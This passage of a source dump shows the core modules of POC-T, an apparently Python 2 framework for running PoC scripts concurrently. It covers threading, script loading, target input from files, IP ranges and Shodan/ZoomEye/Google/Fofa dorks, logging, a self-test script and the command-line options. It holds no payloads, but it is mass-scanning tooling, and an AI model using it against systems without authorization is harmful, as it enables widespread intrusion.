| th.load_lock = threading.Lock() 124 | 125 | 126 | def setThreadDaemon(thread): 127 | # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation 128 | if PYVERSION >= "2.6": 129 | thread.daemon = True 130 | else: 131 | thread.setDaemon(True) 132 | 133 | 134 | def changeFoundCount(num): 135 | if th.thread_mode: th.found_count_lock.acquire() 136 | th.found_count += num 137 | if th.thread_mode: th.found_count_lock.release() 138 | 139 | 140 | def changeScanCount(num): 141 | if th.thread_mode: th.scan_count_lock.acquire() 142 | th.scan_count += num 143 | if th.thread_mode: th.scan_count_lock.release() 144 | 145 | 146 | def changeThreadCount(num): 147 | if th.thread_mode: th.thread_count_lock.acquire() 148 | th.thread_count += num 149 | if th.thread_mode: th.thread_count_lock.release() 150 | 151 | 152 | def printMessage(msg): 153 | dataToStdout('\r' + msg + ' ' * (th.console_width - len(msg)) + '\n\r') 154 | 155 | 156 | def printProgress(): 157 | msg = '%s found | %s remaining | %s scanned in %.2f seconds' % ( 158 | th.found_count, th.queue.qsize(), th.scan_count, time.time() - th.start_time) 159 | out = '\r' + ' ' * (th.console_width - len(msg)) + msg 160 | dataToStdout(out) 161 | 162 | 163 | def output2file(msg): 164 | if th.thread_mode: th.file_lock.acquire() 165 | f = open(th.output, 'a') 166 | f.write(msg + '\n') 167 | f.close() 168 | if th.thread_mode: th.file_lock.release() 169 | -------------------------------------------------------------------------------- /lib/controller/loader.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | import Queue 7 | import sys 8 | import imp 9 | import os 10 | from lib.core.data import th, conf, logger, paths 11 | from lib.core.enums import API_MODE_NAME, TARGET_MODE_STATUS 12 | from lib.core.settings import ESSENTIAL_MODULE_METHODS 13 | from lib.core.exception import ToolkitValueException 14 | from lib.controller.api import runApi 15 | from thirdparty.IPy import IPy 16 | 17 | 18 | def loadModule(): 19 | _name = conf.MODULE_NAME 20 | msg = 'Load custom script: %s' % _name 21 | logger.success(msg) 22 | 23 | fp, pathname, description = imp.find_module(os.path.splitext(_name)[0], [paths.SCRIPT_PATH]) 24 | try: 25 | th.module_obj = imp.load_module("_", fp, pathname, description) 26 | for each in ESSENTIAL_MODULE_METHODS: 27 | if not hasattr(th.module_obj, each): 28 | errorMsg = "Can't find essential method:'%s()' in current script,Please modify your script/PoC." 29 | sys.exit(logger.error(errorMsg)) 30 | except ImportError, e: 31 | errorMsg = "Your current scipt [%s.py] caused this exception\n%s\n%s" \ 32 | % (_name, '[Error Msg]: ' + str(e), 'Maybe you can download this module from pip or easy_install') 33 | sys.exit(logger.error(errorMsg)) 34 | 35 | 36 | def loadPayloads(): 37 | infoMsg = 'Initialize targets...' 38 | logger.success(infoMsg) 39 | th.queue = Queue.Queue() 40 | if conf.TARGET_MODE is TARGET_MODE_STATUS.RANGE: 41 | int_mode() 42 | elif conf.TARGET_MODE is TARGET_MODE_STATUS.FILE: 43 | file_mode() 44 | elif conf.TARGET_MODE is TARGET_MODE_STATUS.IPMASK: 45 | net_mode() 46 | elif conf.TARGET_MODE is TARGET_MODE_STATUS.SINGLE: 47 | single_target_mode() 48 | elif conf.TARGET_MODE is TARGET_MODE_STATUS.API: 49 | api_mode() 50 | 51 | else: 52 | raise ToolkitValueException('conf.TARGET_MODE value ERROR.') 53 | logger.success('Total: %s' % str(th.queue.qsize())) 54 | 55 | 56 | def file_mode(): 57 | for line in open(conf.INPUT_FILE_PATH): 58 | sub = line.strip() 59 | if sub: 60 | th.queue.put(sub) 61 | 62 | 63 | def int_mode(): 64 | _int = conf.I_NUM2.strip().split('-') 65 | for each in range(int(_int[0].strip()), int(_int[1].strip())): 66 | th.queue.put(str(each)) 67 | 68 | 69 | def net_mode(): 70 | ori_str = conf.NETWORK_STR 71 | try: 72 | _list = IPy.IP(ori_str) 73 | except Exception, e: 74 | sys.exit(logger.error('Invalid IP/MASK,%s' % e)) 75 | for each in _list: 76 | th.queue.put(str(each)) 77 | 78 | 79 | def single_target_mode(): 80 | th.queue.put(str(conf.SINGLE_TARGET_STR)) 81 | 82 | 83 | def api_mode(): 84 | conf.API_OUTPUT = os.path.join(paths.DATA_PATH, conf.API_MODE) 85 | if not os.path.exists(conf.API_OUTPUT): 86 | os.mkdir(conf.API_OUTPUT) 87 | 88 | file = runApi() 89 | for line in open(file): 90 | sub = line.strip() 91 | if sub: 92 | th.queue.put(sub) 93 | -------------------------------------------------------------------------------- /lib/core/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me -------------------------------------------------------------------------------- /lib/core/convert.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | import sys 7 | from lib.core.settings import IS_WIN, UNICODE_ENCODING 8 | 9 | 10 | def singleTimeWarnMessage(message): # Cross-linked function 11 | sys.stdout.write(message) 12 | sys.stdout.write("\n") 13 | sys.stdout.flush() 14 | 15 | 16 | def stdoutencode(data): 17 | retVal = None 18 | 19 | try: 20 | data = data or "" 21 | 22 | # Reference: http://bugs.python.org/issue1602 23 | if IS_WIN: 24 | output = data.encode(sys.stdout.encoding, "replace") 25 | 26 | if '?' in output and '?' not in data: 27 | warnMsg = "cannot properly display Unicode characters " 28 | warnMsg += "inside Windows OS command prompt " 29 | warnMsg += "(http://bugs.python.org/issue1602). All " 30 | warnMsg += "unhandled occurances will result in " 31 | warnMsg += "replacement with '?' character. Please, find " 32 | warnMsg += "proper character representation inside " 33 | warnMsg += "corresponding output files. " 34 | singleTimeWarnMessage(warnMsg) 35 | 36 | retVal = output 37 | else: 38 | retVal = data.encode(sys.stdout.encoding) 39 | except Exception: 40 | retVal = data.encode(UNICODE_ENCODING) if isinstance(data, unicode) else data 41 | 42 | return retVal 43 | -------------------------------------------------------------------------------- /lib/core/data.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | from lib.core.log import MY_LOGGER 7 | from lib.core.datatype import AttribDict 8 | 9 | logger = MY_LOGGER 10 | 11 | paths = AttribDict() 12 | 13 | cmdLineOptions = AttribDict() 14 | 15 | conf = AttribDict() 16 | 17 | th = AttribDict() 18 | -------------------------------------------------------------------------------- /lib/core/datatype.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | import copy 7 | import types 8 | from lib.core.exception import ToolkitDataException 9 | 10 | 11 | class AttribDict(dict): 12 | """ 13 | This class defines the project object, inheriting from Python data 14 | type dictionary. 15 | 16 | >>> foo = AttribDict() 17 | >>> foo.bar = 1 18 | >>> foo.bar 19 | 1 20 | """ 21 | 22 | def __init__(self, indict=None, attribute=None): 23 | if indict is None: 24 | indict = {} 25 | 26 | # Set any attributes here - before initialisation 27 | # these remain as normal attributes 28 | self.attribute = attribute 29 | dict.__init__(self, indict) 30 | self.__initialised = True 31 | 32 | # After initialisation, setting attributes 33 | # is the same as setting an item 34 | 35 | def __getattr__(self, item): 36 | """ 37 | Maps values to attributes 38 | Only called if there *is NOT* an attribute with this name 39 | """ 40 | 41 | try: 42 | return self.__getitem__(item) 43 | except KeyError: 44 | raise ToolkitDataException("unable to access item '%s'" % item) 45 | 46 | def __setattr__(self, item, value): 47 | """ 48 | Maps attributes to values 49 | Only if we are initialised 50 | """ 51 | 52 | # This test allows attributes to be set in the __init__ method 53 | if "_AttribDict__initialised" not in self.__dict__: 54 | return dict.__setattr__(self, item, value) 55 | 56 | # Any normal attributes are handled normally 57 | elif item in self.__dict__: 58 | dict.__setattr__(self, item, value) 59 | 60 | else: 61 | self.__setitem__(item, value) 62 | 63 | def __getstate__(self): 64 | return self.__dict__ 65 | 66 | def __setstate__(self, dict): 67 | self.__dict__ = dict 68 | 69 | def __deepcopy__(self, memo): 70 | retVal = self.__class__() 71 | memo[id(self)] = retVal 72 | 73 | for attr in dir(self): 74 | if not attr.startswith('_'): 75 | value = getattr(self, attr) 76 | if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)): 77 | setattr(retVal, attr, copy.deepcopy(value, memo)) 78 | 79 | for key, value in self.items(): 80 | retVal.__setitem__(key, copy.deepcopy(value, memo)) 81 | 82 | return retVal 83 | -------------------------------------------------------------------------------- /lib/core/enums.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | class CUSTOM_LOGGING: 7 | SYSINFO = 9 8 | SUCCESS = 8 9 | ERROR = 7 10 | WARNING = 6 11 | 12 | 13 | class CONTENT_STATUS: 14 | IN_PROGRESS = 0 15 | COMPLETE = 1 16 | 17 | 18 | class EXIT_STATUS: 19 | SYSETM_EXIT = 0 20 | ERROR_EXIT = 1 21 | USER_QUIT = 2 22 | 23 | 24 | class POC_RESULT_STATUS: 25 | FAIL = 0 26 | SUCCESS = 1 27 | RETRAY = 2 28 | 29 | 30 | class API_MODE_NAME: 31 | ZOOMEYE = 'ZoomEye' 32 | SHODAN = 'Shodan' 33 | GOOGLE = 'Google' 34 | FOFA = 'Fofa' 35 | 36 | 37 | class TARGET_MODE_STATUS: 38 | FILE = 9 39 | SINGLE = 8 40 | IPMASK = 7 41 | RANGE = 6 42 | API = 5 43 | 44 | 45 | class ENGINE_MODE_STATUS: 46 | THREAD = 9 47 | GEVENT = 8 48 | 49 | 50 | class PROXY_TYPE: # keep same with SocksiPy(import socks) 51 | PROXY_TYPE_SOCKS4 = SOCKS4 = 1 52 | PROXY_TYPE_SOCKS5 = SOCKS5 = 2 53 | PROXY_TYPE_HTTP = HTTP = 3 54 | PROXY_TYPE_HTTP_NO_TUNNEL = 4 55 | -------------------------------------------------------------------------------- /lib/core/exception.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | class ToolkitBaseException(Exception): 7 | pass 8 | 9 | 10 | class ToolkitConnectionException(Exception): 11 | pass 12 | 13 | 14 | class ToolkitDataException(ToolkitBaseException): 15 | pass 16 | 17 | 18 | class ToolkitMissingPrivileges(ToolkitBaseException): 19 | pass 20 | 21 | 22 | class ToolkitUserQuitException(ToolkitBaseException): 23 | pass 24 | 25 | 26 | class ToolkitSystemException(ToolkitBaseException): 27 | pass 28 | 29 | 30 | class ToolkitValueException(ToolkitBaseException): 31 | pass 32 | 33 | 34 | class ToolkitPluginException(ToolkitBaseException): 35 | pass 36 | 37 | 38 | class RegisterException(Exception): 39 | pass 40 | 41 | 42 | class RegisterValueException(RegisterException): 43 | pass 44 | 45 | 46 | class RegisterDataException(RegisterException): 47 | pass 48 | 49 | 50 | class RegisterMutexException(RegisterException): 51 | pass 52 | -------------------------------------------------------------------------------- /lib/core/log.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | import logging 7 | import sys 8 | 9 | from lib.core.enums import CUSTOM_LOGGING 10 | 11 | logging.addLevelName(CUSTOM_LOGGING.SYSINFO, "*") 12 | logging.addLevelName(CUSTOM_LOGGING.SUCCESS, "+") 13 | logging.addLevelName(CUSTOM_LOGGING.ERROR, "-") 14 | logging.addLevelName(CUSTOM_LOGGING.WARNING, "!") 15 | 16 | LOGGER = logging.getLogger("TookitLogger") 17 | 18 | LOGGER_HANDLER = None 19 | try: 20 | from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler 21 | 22 | try: 23 | LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout) 24 | LOGGER_HANDLER.level_map[logging.getLevelName("*")] = (None, "cyan", False) 25 | LOGGER_HANDLER.level_map[logging.getLevelName("+")] = (None, "green", False) 26 | LOGGER_HANDLER.level_map[logging.getLevelName("-")] = (None, "red", False) 27 | LOGGER_HANDLER.level_map[logging.getLevelName("!")] = (None, "yellow", False) 28 | except Exception: 29 | LOGGER_HANDLER = logging.StreamHandler(sys.stdout) 30 | 31 | except ImportError: 32 | LOGGER_HANDLER = logging.StreamHandler(sys.stdout) 33 | 34 | FORMATTER = logging.Formatter("\r[%(levelname)s] %(message)s", "%H:%M:%S") 35 | 36 | LOGGER_HANDLER.setFormatter(FORMATTER) 37 | LOGGER.addHandler(LOGGER_HANDLER) 38 | LOGGER.setLevel(CUSTOM_LOGGING.WARNING) 39 | 40 | 41 | class MY_LOGGER: 42 | @staticmethod 43 | def success(msg): 44 | return LOGGER.log(CUSTOM_LOGGING.SUCCESS, msg) 45 | 46 | @staticmethod 47 | def info(msg): 48 | return LOGGER.log(CUSTOM_LOGGING.SYSINFO, msg) 49 | 50 | @staticmethod 51 | def warning(msg): 52 | return LOGGER.log(CUSTOM_LOGGING.WARNING, msg) 53 | 54 | @staticmethod 55 | def error(msg): 56 | return LOGGER.log(CUSTOM_LOGGING.ERROR, msg) 57 | -------------------------------------------------------------------------------- /lib/core/register.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | 用于注册互斥的参数并给出错误提示 8 | 9 | Register() 10 | start 最少通过量 11 | stop 最大通过量 12 | mutex 互斥开关 13 | mutex_errmsg 错误提示 14 | 15 | add() 16 | perform 目标函数 17 | trigger 触发条件 18 | args 参数传入 19 | kwargs 参数传入 20 | 21 | Usage: 22 | r = Register() 23 | r.add(function1,1>1) 24 | r.add(function2,2>1) 25 | r.add(function3,3>1) 26 | r.run() 27 | 28 | """ 29 | 30 | import types 31 | import sys 32 | from lib.core.data import logger 33 | from lib.core.exception import RegisterDataException, RegisterMutexException, RegisterValueException 34 | 35 | 36 | class Register: 37 | def __init__(self, start=1, stop=1, mutex_errmsg=None, mutex=True): 38 | self.targets = [] 39 | self.mutex = mutex 40 | self.start = start 41 | self.stop = stop 42 | self.mutex_errmsg = mutex_errmsg 43 | self.verified = [] 44 | 45 | def enable_mutex(self): 46 | self.mutex = True 47 | 48 | def set_mutex_errmsg(self, s): 49 | self.mutex_errmsg = str(s) 50 | 51 | def add(self, perform, trigger, args=(), kwargs=None): 52 | if kwargs is None: 53 | kwargs = {} 54 | d = {'perform': perform, 'args': args, 'kwargs': kwargs, 'trigger': trigger} 55 | self.targets.append(d) 56 | self.__args = args 57 | self.__kwargs = kwargs 58 | 59 | def run(self): 60 | self.__pretreat() 61 | for target in self.verified: 62 | if not target.get('perform'): 63 | msg = 'Register has no verified target' 64 | raise RegisterDataException(msg) 65 | target.get('perform')(*target.get('args'), **target.get('kwargs')) 66 | 67 | def __pretreat(self): 68 | self.__input_vector_check() 69 | for __target in self.targets: 70 | __trigger = __target.get('trigger') 71 | if type(__trigger) is types.BooleanType or type(__trigger) is types.StringType: 72 | if __trigger: 73 | self.verified.append(__target) 74 | else: 75 | msg = '[Trigger Type Error] Expected:boolean,found:' + str(type(__trigger)) 76 | raise RegisterValueException(msg) 77 | self.__mutex_check() 78 | 79 | def __mutex_check(self): 80 | if self.mutex: 81 | if len(self.verified) < self.start or len(self.verified) > self.stop: 82 | if self.mutex_errmsg is None: 83 | raise RegisterMutexException('mutex error,verified func count: ' + str(len(self.verified))) 84 | else: 85 | sys.exit(logger.error(self.mutex_errmsg)) 86 | 87 | def __input_vector_check(self): 88 | if type(self.stop) is types.IntType and type(self.start) is types.IntType and type( 89 | self.mutex) is types.BooleanType: 90 | pass 91 | else: 92 | raise RegisterValueException('Register init func type error') 93 | if len(self.targets) is 0: 94 | msg = 'no target' 95 | raise RegisterDataException(msg) 96 | if self.start > self.stop: 97 | msg = 'start > stop' 98 | raise RegisterDataException(msg) 99 | -------------------------------------------------------------------------------- /lib/core/revision.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | import os 7 | import re 8 | 9 | from subprocess import PIPE 10 | from subprocess import Popen as execute 11 | 12 | def getRevisionNumber(): 13 | """ 14 | Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD" 15 | """ 16 | 17 | retVal = None 18 | filePath = None 19 | _ = os.path.dirname(__file__) 20 | 21 | while True: 22 | filePath = os.path.join(_, ".git", "HEAD") 23 | if os.path.exists(filePath): 24 | break 25 | else: 26 | filePath = None 27 | if _ == os.path.dirname(_): 28 | break 29 | else: 30 | _ = os.path.dirname(_) 31 | 32 | while True: 33 | if filePath and os.path.isfile(filePath): 34 | with open(filePath, "r") as f: 35 | content = f.read() 36 | filePath = None 37 | if content.startswith("ref: "): 38 | filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip() 39 | else: 40 | match = re.match(r"(?i)[0-9a-f]{32}", content) 41 | retVal = match.group(0) if match else None 42 | break 43 | else: 44 | break 45 | 46 | if not retVal: 47 | process = execute("git rev-parse --verify HEAD", shell=True, stdout=PIPE, stderr=PIPE) 48 | stdout, _ = process.communicate() 49 | match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") 50 | retVal = match.group(0) if match else None 51 | 52 | return retVal[:7] if retVal else None 53 | -------------------------------------------------------------------------------- /lib/core/settings.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | 7 | import os 8 | import subprocess 9 | 10 | VERSION = '2.0.5' 11 | PROJECT = "POC-T" 12 | AUTHOR = 'cdxy' 13 | MAIL = 'i@cdxy.me' 14 | PLATFORM = os.name 15 | LICENSE = 'GPLv2' 16 | IS_WIN = subprocess.mswindows 17 | 18 | # essential methods/functions in custom scripts/PoC (such as function poc()) 19 | ESSENTIAL_MODULE_METHODS = ['poc'] 20 | # Encoding used for Unicode data 21 | UNICODE_ENCODING = "utf-8" 22 | # String representation for NULL value 23 | NULL = "NULL" 24 | # Format used for representing invalid unicode characters 25 | INVALID_UNICODE_CHAR_FORMAT = r"\x%02x" 26 | 27 | ISSUES_PAGE = "https://github.com/Xyntax/POC-T/issues" 28 | GIT_REPOSITORY = "git://github.com/Xyntax/POC-T.git" 29 | GIT_PAGE = "https://github.com/Xyntax/POC-T" 30 | 31 | BANNER = """\033[01;34m 32 | \033[01;31m__/\033[01;34m 33 | ____ ____ _____ ______\033[01;33m/ \033[01;31m__/\033[01;34m 34 | / __ \ / __ \ / ___/ ____ /__ __/\033[01;33m_/\033[01;34m 35 | / /_/ / / /_/ / / /___ /___/ / / 36 | / /___/ \____/ \____/ / / 37 | /_/ /_/ 38 | \033[01;37m{\033[01;m Version %s by %s mail:%s \033[01;37m}\033[0m 39 | \n""" % (VERSION, AUTHOR, MAIL) 40 | -------------------------------------------------------------------------------- /lib/debug.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | POC-T functional testing script 8 | """ 9 | 10 | auto = """ 11 | 12 | # help 13 | -h;powered by cdxy 14 | --help;powered by cdxy 15 | 16 | # version 17 | -v;2. 18 | --version;2. 19 | 20 | # show 21 | --show;Script Name 22 | 23 | # --browser --single -iA -iN -iS -iF 24 | -s test;[-] Please load targets 25 | -s test -iA 1-10 --single;[*] [single-mode] found! 26 | -s test -iN 10.10.0/30 --browser -oF;[-] [--browser] is based on file output 27 | -s test -iS "http://test.com" --browser;[*] System exit. 28 | -s test -iF data/pass100.txt -t 50 -oF;concurrent: 50;[*] System exit. 29 | 30 | # -s 31 | -iA 1-10;Use -s to load script 32 | -s 1234567890 -iS aaa;Script [1234567890.py] not exist 33 | -s test -iS aaa;[*] System exit. 34 | -s test.py -iS aaa;[*] System exit. 35 | -s script/test.py -iS aaa;[*] System exit. 36 | -s ./ -iS aaa;[-] [./] not a file. 37 | 38 | # -eT -eC -t 39 | -eT -s test -iA 1-10 -t 5 -oF;concurrent: 5;[*] System exit. 40 | -eT -s test -iF data/pass100.txt -t 50 -oF;concurrent: 50;[*] System exit. 41 | -eT -s test -iA 1-10 -t 500 -oF;range: 1 to 100 42 | -eG -s test -iS http://sss.com -oF;[*] System exit 43 | 44 | # -oS 45 | -s test -iS aaa;by cdxy mail:i@cdxy.me };[*] System exit. 46 | -s test -iS aaa -oS;[*] System exit.$mail:i@cdxy.me } 47 | 48 | # --limit -aS -aZ -aG 49 | -s test -aS 1 --limit=0;[-] Invalid value in [--limit] 50 | -s test -aS 1 --limit=2;[+] Total: 2;[*] System exit. 51 | -s test -aZ 1 --limit=2;[+] Total: 10;[*] System exit. 52 | -s test -aZ 1 --limit=10;[+] Total: 10;[*] System exit. 53 | -s test -aZ 1 --limit=11;[+] Total: 20;[*] System exit. 54 | -s test -aG 1 --limit=2;[+] Total: 10;[*] System exit. 55 | -s test -aG 1 --limit=10;[+] Total: 10;[*] System exit. 56 | -s test -aG 1 --limit=11;[+] Total: 20;[*] System exit. 57 | -s test -aG faefafw32qtfafw3;[+] Total: 0;[*] System exit. 58 | 59 | # --offset 60 | -s test -aS 1 --offset=0;[*] System exit. 61 | -s test -aS 1 --offset=10;[*] System exit. 62 | 63 | # --search-type 64 | -s test -aZ 1 --search-type "hello";[-] Invalid value in [--search-type] 65 | -s test -aZ 1 --search-type 111;[-] Invalid value in [--search-type] 66 | -s test -aZ 1 --search-type web;[*] System exit. 67 | -s test -aZ 1 --search-type host;[*] System exit. 68 | -s test -aZ 1 --search-type web,host;[-] Invalid value in [--search-type] 69 | 70 | # --gproxy 71 | -s test -aG 1 --gproxy="http 127.0.0.1 1111";[-] Unable to connect Google 72 | -s test -aG 1 --gproxy="http 127.0.0.1";[-] SyntaxError in GoogleProxy string 73 | -s test -aG 1 --gproxy="1 127.0.0.1 1";[-] Invalid proxy-type 74 | -s test -aG 1 --gproxy="http 127.0.0.1 fa";[-] Invalid port in GoogleProxy string 75 | -s test -aG 1 --gproxy="http 127.0.0.1 1894";[*] System exit. 76 | -s test -aG 1 --gproxy="sock5 127.0.0.1 7070";[*] System exit. 77 | -s test -aG 1 --gproxy "http 127.0.0.1 23124";[-] Unable to connect Google 78 | 79 | # output 80 | -s test -iA 1-10 -o _checko.txt;[*] System exit. 81 | -s test -iA 1-10 -o _checko1.txt -oF;[-] Cannot use [-oF] and [-o] together 82 | -s test -iA 1-10 -o _checko2.txt -oS;[*] System exit. 83 | 84 | 85 | # scripts 86 | 87 | """ 88 | 89 | header = """#!/usr/bin/env python 90 | # -*- coding: utf-8 -*- 91 | # project = https://github.com/Xyntax/POC-T 92 | # author""" 93 | 94 | import os 95 | import subprocess 96 | 97 | 98 | def headerCheck(path): 99 | parents = os.listdir(path) 100 | for parent in parents: 101 | if parent == 'thirdparty': 102 | continue 103 | child = os.path.join(path, parent) 104 | if os.path.isdir(child): 105 | headerCheck(child) 106 | elif os.path.isfile(child): 107 | if child.endswith('.py'): 108 | if open(child).read().startswith(header): 109 | pass 110 | else: 111 | print 'Invalid header in %s' % child 112 | 113 | 114 | def autoCheckResult(output, error, expect, unexpect): 115 | for each in expect: 116 | if each in output or each in error: 117 | pass 118 | else: 119 | return False 120 | for each in unexpect: 121 | if each in output or each in error: 122 | return False 123 | else: 124 | pass 125 | return True 126 | 127 | 128 | def autoCheck(): 129 | base = 'python POC-T.py ' 130 | for each in auto.split('\n'): 131 | if not each or each.startswith('#'): 132 | continue 133 | u = each.split('$')[1:] 134 | each = each.split('$')[0] 135 | c = each.split(';')[0] 136 | r = each.split(';')[1:] 137 | 138 | command = base + c 139 | process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE,shell=True) 140 | o = process.stdout.read() 141 | e = process.stderr.read() 142 | if autoCheckResult(o, e, r, u): 143 | pass 144 | else: 145 | print command 146 | 147 | 148 | def checkInvalidVersion(): 149 | command = 'python3 POC-T.py -h' 150 | process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) 151 | o = process.stdout.read() 152 | e = process.stderr.read() 153 | if autoCheckResult(o, e, ['[CRITICAL] incompatible Python version'], []): 154 | pass 155 | else: 156 | print command 157 | 158 | 159 | def checkOutput(base_path): 160 | target1 = os.path.join(base_path, '_checko.txt') 161 | target2 = os.path.join(base_path, '_checko1.txt') 162 | target3 = os.path.join(base_path, '_checko2.txt') 163 | try: 164 | if len(open(target1).read()) and not os.path.isfile(target2) and len(open(target3).read()): 165 | os.remove(target1) 166 | os.remove(target3) 167 | else: 168 | print '!!!failed!!!' 169 | except IOError: 170 | print '!!!failed!!!' 171 | 172 | 173 | def debugMain(): 174 | try: 175 | root_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) 176 | os.chdir(root_dir) 177 | print '>>> base-dir [%s]' % root_dir 178 | 179 | print '>>> start header check' 180 | headerCheck(root_dir) 181 | 182 | print '>>> start invalid-version check' 183 | checkInvalidVersion() 184 | 185 | print '>>> start command check' 186 | autoCheck() 187 | 188 | print '>>> start output check' 189 | checkOutput(root_dir) 190 | 191 | except KeyboardInterrupt: 192 | exit('User quit!') 193 | return 194 | 195 | 196 | if __name__ == '__main__': 197 | debugMain() 198 | -------------------------------------------------------------------------------- /lib/parse/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | -------------------------------------------------------------------------------- /lib/parse/cmdline.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | import argparse 7 | import sys 8 | from lib.core.settings import VERSION 9 | 10 | 11 | def cmdLineParser(): 12 | parser = argparse.ArgumentParser(description='powered by cdxy ', 13 | usage='python POC-T.py -s bingc -aZ "port:8080"', 14 | add_help=False) 15 | 16 | engine = parser.add_argument_group('ENGINE') 17 | engine.add_argument('-eT', dest="engine_thread", default=False, action='store_true', 18 | help='Multi-Threaded engine (default choice)') 19 | 20 | engine.add_argument('-eG', dest="engine_gevent", default=False, action='store_true', 21 | help='Gevent engine (single-threaded with asynchronous)') 22 | 23 | engine.add_argument('-t', metavar='NUM', dest="thread_num", type=int, default=10, 24 | help='num of threads/concurrent, 10 by default') 25 | 26 | script = parser.add_argument_group('SCRIPT') 27 | 28 | script.add_argument('-s', metavar='NAME', dest="script_name", type=str, default='', 29 | help='load script by name (-s jboss-rce) or path (-s ./script/jboss.py)') 30 | 31 | target = parser.add_argument_group('TARGET') 32 | 33 | target.add_argument('-iS', metavar='TARGET', dest="target_single", type=str, default='', 34 | help="scan a single target (e.g. www.wooyun.org)") 35 | target.add_argument('-iF', metavar='FILE', dest="target_file", type=str, default='', 36 | help='load targets from targetFile (e.g. ./data/wooyun_domain)') 37 | target.add_argument('-iA', metavar='START-END', dest="target_array", type=str, default='', 38 | help='generate array from int(start) to int(end) (e.g. 1-100)') 39 | target.add_argument('-iN', metavar='IP/MASK', dest="target_network", type=str, default='', 40 | help='generate IP from IP/MASK. (e.g. 127.0.0.0/24)') 41 | 42 | api = parser.add_argument_group('API') 43 | api.add_argument('-aZ', '--zoomeye', metavar='DORK', dest="zoomeye_dork", type=str, default='', 44 | help='ZoomEye dork (e.g. "zabbix port:8080")') 45 | api.add_argument('-aS', '--shodan', metavar='DORK', dest="shodan_dork", type=str, default='', 46 | help='Shodan dork.') 47 | api.add_argument('-aG', '--google', metavar='DORK', dest="google_dork", type=str, default='', 48 | help='Google dork (e.g. "inurl:admin.php")') 49 | api.add_argument('-aF', '--fofa', metavar='DORK', dest="fofa_dork", type=str, default='', 50 | help='FoFa dork (e.g. "banner=users && protocol=ftp")') 51 | api.add_argument('--limit', metavar='NUM', dest="api_limit", type=int, default=10, 52 | help='Maximum searching results (default:10)') 53 | api.add_argument('--offset', metavar='OFFSET', dest="api_offset", type=int, default=0, 54 | help="Search offset to begin getting results from (default:0)") 55 | api.add_argument('--search-type', metavar='TYPE', dest="search_type", action="store", default='host', 56 | help="[ZoomEye] search type used in ZoomEye API, web or host (default:host)") 57 | api.add_argument('--gproxy', metavar='PROXY', dest="google_proxy", action="store", default=None, 58 | help="[Google] Use proxy for Google (e.g. \"sock5 127.0.0.1 7070\" or \"http 127.0.0.1 1894\"") 59 | 60 | output = parser.add_argument_group('OUTPUT') 61 | 62 | output.add_argument('-o', metavar='FILE', dest="output_path", type=str, default='', 63 | help='output file path&name. default in ./output/') 64 | output.add_argument('-oF', '--no-file', dest="output_file_status", default=True, action='store_false', 65 | help='disable file output') 66 | output.add_argument('-oS', '--no-screen', dest="output_screen_status", default=True, action='store_false', 67 | help='disable screen output') 68 | 69 | misc = parser.add_argument_group('MISC') 70 | 71 | misc.add_argument('--single', dest="single_mode", default=False, action='store_true', 72 | help='exit after finding the first victim/password.') 73 | misc.add_argument('--show', dest="show_scripts", default=False, action='store_true', 74 | help='show available script names in ./script/ and exit') 75 | misc.add_argument('--browser', dest="open_browser", default=False, action='store_true', 76 | help='Open notepad or web browser to view report after task finished.') 77 | 78 | system = parser.add_argument_group('SYSTEM') 79 | 80 | system.add_argument('-v', '--version', action='version', 